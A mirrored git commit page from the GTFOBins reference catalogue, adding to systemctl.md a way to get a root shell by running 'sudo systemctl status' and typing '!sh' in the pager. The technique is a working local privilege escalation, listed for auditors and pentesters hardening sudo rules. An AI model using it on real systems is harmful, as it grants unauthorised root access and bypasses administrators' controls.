mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Update systemctl.md
How to obtain a root shell when you can run systemctl status with sudo
This commit is contained in:
parent
72cb09f404
commit
64763cdee6
@ -29,4 +29,7 @@ functions:
|
||||
code: |
|
||||
sudo systemctl
|
||||
!sh
|
||||
code: |
|
||||
sudo /usr/bin/systemctl status any.service
|
||||
!sh
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user